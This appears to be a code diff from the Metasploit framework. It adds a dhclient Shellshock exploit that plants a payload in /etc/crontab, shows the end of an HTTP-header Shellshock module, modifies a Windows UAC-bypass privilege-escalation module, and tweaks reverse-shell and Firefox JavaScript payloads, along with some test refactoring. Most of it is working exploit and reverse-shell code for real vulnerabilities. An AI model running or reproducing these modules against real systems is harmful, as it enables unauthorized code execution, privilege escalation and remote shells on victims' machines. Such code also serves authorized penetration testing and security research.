OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),
|
||||||
|
OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
|
||||||
|
OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 2048]),
|
||||||
|
OptString.new('RPATH', [true, 'Target PATH for binaries used by the CmdStager', '/bin']),
|
||||||
|
OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 5])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = req("echo #{marker}")
|
||||||
|
|
||||||
|
if res && res.body.include?(marker * 3)
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
elsif res && res.code == 500
|
||||||
|
injected_res_code = res.code
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => datastore['METHOD'],
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s)
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && injected_res_code == res.code
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
elsif res && injected_res_code != res.code
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
# Cannot use generic/shell_reverse_tcp inside an elf
|
||||||
|
# Checking before proceeds
|
||||||
|
if generate_payload_exe.blank?
|
||||||
|
fail_with(Failure::BadConfig, "#{peer} - Failed to store payload inside executable, please select a native payload")
|
||||||
|
end
|
||||||
|
|
||||||
|
execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], :nodelete => true)
|
||||||
|
|
||||||
|
# A last chance after the cmdstager
|
||||||
|
# Trying to make it generic
|
||||||
|
unless session_created?
|
||||||
|
req("#{stager_instance.instance_variable_get("@tempdir")}#{stager_instance.instance_variable_get("@var_elf")}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, opts)
|
||||||
|
cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
|
||||||
|
|
||||||
|
req(cmd)
|
||||||
|
end
|
||||||
|
|
||||||
|
def req(cmd)
|
||||||
|
send_request_cgi(
|
||||||
|
{
|
||||||
|
'method' => datastore['METHOD'],
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s),
|
||||||
|
'headers' => {
|
||||||
|
datastore['HEADER'] => "() { :;};echo #{marker}$(#{cmd})#{marker}"
|
||||||
|
}
|
||||||
|
}, datastore['TIMEOUT'])
|
||||||
|
end
|
||||||
|
|
||||||
|
def marker
|
||||||
|
@marker ||= rand_text_alphanumeric(rand(42) + 1)
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,91 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex/proto/dhcp'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::DHCPServer
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Dhclient Bash Environment Variable Injection',
|
||||||
|
'Description' => %q|
|
||||||
|
When bash is started with an environment variable that begins with the
|
||||||
|
string "() {", that variable is treated as a function definition and
|
||||||
|
parsed as code. If extra commands are added after the function
|
||||||
|
definition, they will be executed immediately. When dhclient receives
|
||||||
|
an ACK that contains a domain name or hostname, they are passed to
|
||||||
|
configuration scripts as environment variables, allowing us to trigger
|
||||||
|
the bash bug.
|
||||||
|
|
||||||
|
Because of the length restrictions and unusual networking scenario at
|
||||||
|
time of exploitation, we achieve code execution by echoing our payload
|
||||||
|
into /etc/crontab and clean it up when we get a shell.
|
||||||
|
|,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Stephane Chazelas', # Vulnerability discovery
|
||||||
|
'egypt' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['unix'],
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2014-6271']
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
# 255 for a domain name, minus some room for encoding
|
||||||
|
'Space' => 200,
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'generic bash telnet ruby',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Targets' => [ [ 'Automatic Target', { }] ],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Sep 24 2014'
|
||||||
|
))
|
||||||
|
|
||||||
|
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_new_session(session)
|
||||||
|
print_status "Cleaning up crontab"
|
||||||
|
# XXX this will brick a server some day
|
||||||
|
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
hash = datastore.copy
|
||||||
|
# Quotes seem to be completely stripped, so other characters have to be
|
||||||
|
# escaped
|
||||||
|
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
|
||||||
|
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
|
||||||
|
hash['DOMAINNAME'] = "() { :; };#{echo}"
|
||||||
|
if hash['DOMAINNAME'].length > 255
|
||||||
|
raise ArgumentError, 'payload too long'
|
||||||
|
end
|
||||||
|
|
||||||
|
hash['HOSTNAME'] = "() { :; };#{echo}"
|
||||||
|
hash['URL'] = "() { :; };#{echo}"
|
||||||
|
start_service(hash)
|
||||||
|
|
||||||
|
begin
|
||||||
|
while @dhcp.thread.alive?
|
||||||
|
sleep 2
|
||||||
|
end
|
||||||
|
ensure
|
||||||
|
stop_service
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -37,7 +37,6 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
register_options([
|
register_options([
|
||||||
OptString.new('FILENAME', [false, 'File name on disk']),
|
OptString.new('FILENAME', [false, 'File name on disk']),
|
||||||
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
|
OptString.new('PATH', [false, 'Location on disk, %TEMP% used if not set']),
|
||||||
OptBool.new('UPLOAD', [true, 'Should the payload be uploaded?', true]),
|
|
||||||
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
|
OptEnum.new('TECHNIQUE', [true, 'Technique to use', 'EXE', %w(PSH EXE)]),
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
@ -55,14 +54,11 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
print_good 'UAC is not enabled, no prompt for the user'
|
print_good 'UAC is not enabled, no prompt for the user'
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
|
||||||
# Generate payload and random names for upload
|
|
||||||
#
|
|
||||||
case datastore['TECHNIQUE']
|
case datastore['TECHNIQUE']
|
||||||
when 'EXE'
|
when 'EXE'
|
||||||
execute_exe(datastore['FILENAME'], datastore['PATH'], datastore['UPLOAD'])
|
shell_execute_exe(datastore['FILENAME'], datastore['PATH'])
|
||||||
when 'PSH'
|
when 'PSH'
|
||||||
execute_psh
|
shell_execute_psh
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -4,7 +4,6 @@
|
||||||
##
|
##
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/exploit/exe'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Exploit::Local
|
class Metasploit3 < Msf::Exploit::Local
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
@ -12,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
include Exploit::EXE
|
include Exploit::EXE
|
||||||
include Post::File
|
include Post::File
|
||||||
include Post::Windows::Priv
|
include Post::Windows::Priv
|
||||||
|
include Post::Windows::Runas
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super( update_info(info,
|
super( update_info(info,
|
||||||
|
@ -40,6 +40,11 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
'DisclosureDate'=> "Dec 31 2010"
|
'DisclosureDate'=> "Dec 31 2010"
|
||||||
))
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptEnum.new('TECHNIQUE', [true, 'Technique to use if UAC is turned off',
|
||||||
|
'EXE', %w(PSH EXE)]),
|
||||||
|
])
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def check_permissions!
|
def check_permissions!
|
||||||
|
@ -54,12 +59,12 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
if admin_group
|
if admin_group
|
||||||
print_good('Part of Administrators group! Continuing...')
|
print_good('Part of Administrators group! Continuing...')
|
||||||
else
|
else
|
||||||
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
|
||||||
fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
|
fail_with(Exploit::Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -72,8 +77,8 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
||||||
)
|
)
|
||||||
when UAC_DEFAULT
|
when UAC_DEFAULT
|
||||||
print_good "UAC is set to Default"
|
print_good 'UAC is set to Default'
|
||||||
print_good "BypassUAC can bypass this setting, continuing..."
|
print_good 'BypassUAC can bypass this setting, continuing...'
|
||||||
when UAC_NO_PROMPT
|
when UAC_NO_PROMPT
|
||||||
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
|
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
|
||||||
runas_method
|
runas_method
|
||||||
|
@ -89,15 +94,13 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
pid = cmd_exec_get_pid(cmd)
|
pid = cmd_exec_get_pid(cmd)
|
||||||
|
|
||||||
::Timeout.timeout(30) do
|
::Timeout.timeout(30) do
|
||||||
until session_created? do
|
select(nil, nil, nil, 1) until session_created?
|
||||||
select(nil,nil,nil,1)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
session.sys.process.kill(pid)
|
session.sys.process.kill(pid)
|
||||||
# delete the uac bypass payload
|
# delete the uac bypass payload
|
||||||
file_rm(path_bypass)
|
file_rm(path_bypass)
|
||||||
file_rm("#{expand_path("%TEMP%")}\\tior.exe")
|
file_rm("#{expand_path("%TEMP%")}\\tior.exe")
|
||||||
cmd_exec("cmd.exe", "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" )
|
cmd_exec('cmd.exe', "/c del \"#{expand_path("%TEMP%")}\\w7e*.tmp\"" )
|
||||||
end
|
end
|
||||||
|
|
||||||
def path_bypass
|
def path_bypass
|
||||||
|
@ -109,24 +112,24 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
|
|
||||||
def upload_binaries!
|
def upload_binaries!
|
||||||
print_status("Uploaded the agent to the filesystem....")
|
print_status('Uploaded the agent to the filesystem....')
|
||||||
#
|
#
|
||||||
# Generate payload and random names for upload
|
# Generate payload and random names for upload
|
||||||
#
|
#
|
||||||
payload = generate_payload_exe
|
payload = generate_payload_exe
|
||||||
|
|
||||||
# path to the bypassuac binary
|
# path to the bypassuac binary
|
||||||
path = ::File.join(Msf::Config.data_directory, "post")
|
path = ::File.join(Msf::Config.data_directory, 'post')
|
||||||
|
|
||||||
# decide, x86 or x64
|
# decide, x86 or x64
|
||||||
bpexe = nil
|
bpexe = nil
|
||||||
if sysinfo["Architecture"] =~ /x64/i
|
if sysinfo["Architecture"] =~ /x64/i
|
||||||
bpexe = ::File.join(path, "bypassuac-x64.exe")
|
bpexe = ::File.join(path, 'bypassuac-x64.exe')
|
||||||
else
|
else
|
||||||
bpexe = ::File.join(path, "bypassuac-x86.exe")
|
bpexe = ::File.join(path, 'bypassuac-x86.exe')
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Uploading the bypass UAC executable to the filesystem...")
|
print_status('Uploading the bypass UAC executable to the filesystem...')
|
||||||
|
|
||||||
begin
|
begin
|
||||||
#
|
#
|
||||||
|
@ -143,14 +146,14 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
end
|
end
|
||||||
|
|
||||||
def runas_method
|
def runas_method
|
||||||
payload = generate_payload_exe
|
case datastore['TECHNIQUE']
|
||||||
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
when 'PSH'
|
||||||
tmpdir = expand_path("%TEMP%")
|
# execute PSH
|
||||||
tempexe = tmpdir + "\\" + payload_filename
|
shell_execute_psh
|
||||||
write_file(tempexe, payload)
|
when 'EXE'
|
||||||
print_status("Uploading payload: #{tempexe}")
|
# execute EXE
|
||||||
session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
|
shell_execute_exe
|
||||||
print_status("Payload executed")
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def validate_environment!
|
def validate_environment!
|
||||||
|
@ -158,23 +161,20 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
#
|
#
|
||||||
# Verify use against Vista+
|
# Verify use against Vista+
|
||||||
#
|
#
|
||||||
winver = sysinfo["OS"]
|
winver = sysinfo['OS']
|
||||||
|
|
||||||
unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
|
unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
|
||||||
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
|
||||||
end
|
end
|
||||||
|
|
||||||
if is_uac_enabled?
|
if is_uac_enabled?
|
||||||
print_status "UAC is Enabled, checking level..."
|
print_status 'UAC is Enabled, checking level...'
|
||||||
else
|
else
|
||||||
if is_in_admin_group?
|
if is_in_admin_group?
|
||||||
fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
|
fail_with(Exploit::Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
|
||||||
else
|
else
|
||||||
fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
|
fail_with(Exploit::Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -29,7 +29,7 @@ module Metasploit3
|
||||||
'Handler' => Msf::Handler::ReverseTcpSsl,
|
'Handler' => Msf::Handler::ReverseTcpSsl,
|
||||||
'Session' => Msf::Sessions::CommandShell,
|
'Session' => Msf::Sessions::CommandShell,
|
||||||
'PayloadType' => 'cmd_bash',
|
'PayloadType' => 'cmd_bash',
|
||||||
'RequiredCmd' => 'bash-tcp',
|
'RequiredCmd' => 'telnet',
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
'Offsets' => { },
|
'Offsets' => { },
|
||||||
|
|
|
@ -34,6 +34,7 @@ module Metasploit3
|
||||||
<<-EOS
|
<<-EOS
|
||||||
|
|
||||||
(function(){
|
(function(){
|
||||||
|
window = this;
|
||||||
#{read_file_source if datastore['WSCRIPT']}
|
#{read_file_source if datastore['WSCRIPT']}
|
||||||
#{run_cmd_source if datastore['WSCRIPT']}
|
#{run_cmd_source if datastore['WSCRIPT']}
|
||||||
|
|
||||||
|
|
|
@ -34,6 +34,7 @@ module Metasploit3
|
||||||
def generate
|
def generate
|
||||||
%Q|
|
%Q|
|
||||||
(function(){
|
(function(){
|
||||||
|
window = this;
|
||||||
Components.utils.import("resource://gre/modules/NetUtil.jsm");
|
Components.utils.import("resource://gre/modules/NetUtil.jsm");
|
||||||
var lport = #{datastore["LPORT"]};
|
var lport = #{datastore["LPORT"]};
|
||||||
var rhost = "#{datastore['RHOST']}";
|
var rhost = "#{datastore['RHOST']}";
|
||||||
|
|
|
@ -32,6 +32,8 @@ module Metasploit3
|
||||||
<<-EOS
|
<<-EOS
|
||||||
|
|
||||||
(function(){
|
(function(){
|
||||||
|
window = this;
|
||||||
|
|
||||||
Components.utils.import("resource://gre/modules/NetUtil.jsm");
|
Components.utils.import("resource://gre/modules/NetUtil.jsm");
|
||||||
var host = '#{datastore["LHOST"]}';
|
var host = '#{datastore["LHOST"]}';
|
||||||
var port = #{datastore["LPORT"]};
|
var port = #{datastore["LPORT"]};
|
||||||
|
|
|
@ -62,7 +62,7 @@ class Metasploit3 < Msf::Post
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
send(e);
|
send(e);
|
||||||
}
|
}
|
||||||
})(send);
|
})(this.send);
|
||||||
|.strip
|
|.strip
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -80,7 +80,7 @@ class Metasploit3 < Msf::Post
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
send(e);
|
send(e);
|
||||||
}
|
}
|
||||||
})(send);
|
})(this.send);
|
||||||
|.strip
|
|.strip
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -79,7 +79,7 @@ class Metasploit3 < Msf::Post
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
send(e);
|
send(e);
|
||||||
}
|
}
|
||||||
})(send);
|
})(this.send);
|
||||||
|.strip
|
|.strip
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -78,7 +78,7 @@ class Metasploit3 < Msf::Post
|
||||||
};
|
};
|
||||||
|
|
||||||
setTimeout(evt, 200);
|
setTimeout(evt, 200);
|
||||||
})(send);
|
})(this.send);
|
||||||
|
|
||||||
|.strip
|
|.strip
|
||||||
end
|
end
|
||||||
|
|
|
@ -105,7 +105,7 @@ class Metasploit3 < Msf::Post
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
send(e);
|
send(e);
|
||||||
}
|
}
|
||||||
})(send);
|
})(this.send);
|
||||||
|
|
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -1,6 +1,5 @@
|
||||||
require 'spec_helper'
|
require 'spec_helper'
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/exploit/remote/browser_exploit_server'
|
|
||||||
|
|
||||||
describe Msf::Exploit::Remote::BrowserExploitServer do
|
describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||||
|
|
||||||
|
@ -58,6 +57,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||||
server.start_service
|
server.start_service
|
||||||
end
|
end
|
||||||
|
|
||||||
|
it_should_behave_like 'Msf::Exploit::JSObfu'
|
||||||
|
|
||||||
describe "#get_module_resource" do
|
describe "#get_module_resource" do
|
||||||
it "should give me a URI to access the exploit page" do
|
it "should give me a URI to access the exploit page" do
|
||||||
module_resource = server.get_module_resource
|
module_resource = server.get_module_resource
|
||||||
|
|
|
@ -0,0 +1,8 @@
|
||||||
|
require 'spec_helper'
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
describe Msf::Exploit::Remote::FirefoxPrivilegeEscalation do
|
||||||
|
|
||||||
|
it_should_behave_like 'Msf::Exploit::JSObfu'
|
||||||
|
|
||||||
|
end
|
|
@ -3,11 +3,11 @@ require 'msf/core'
|
||||||
require 'msf/core/exploit/jsobfu'
|
require 'msf/core/exploit/jsobfu'
|
||||||
|
|
||||||
|
|
||||||
describe Msf::Exploit::JSObfu do
|
shared_examples_for 'Msf::Exploit::JSObfu' do
|
||||||
|
|
||||||
subject(:jsobfu) do
|
subject(:jsobfu) do
|
||||||
mod = ::Msf::Module.new
|
mod = ::Msf::Module.new
|
||||||
mod.extend described_class
|
mod.extend described_class
|
||||||
mod.send(:initialize, {})
|
|
||||||
mod
|
mod
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -58,4 +58,5 @@ describe Msf::Exploit::JSObfu do
|
||||||
expect(obj.to_s).to include(js)
|
expect(obj.to_s).to include(js)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
Loading…
Reference in New Issue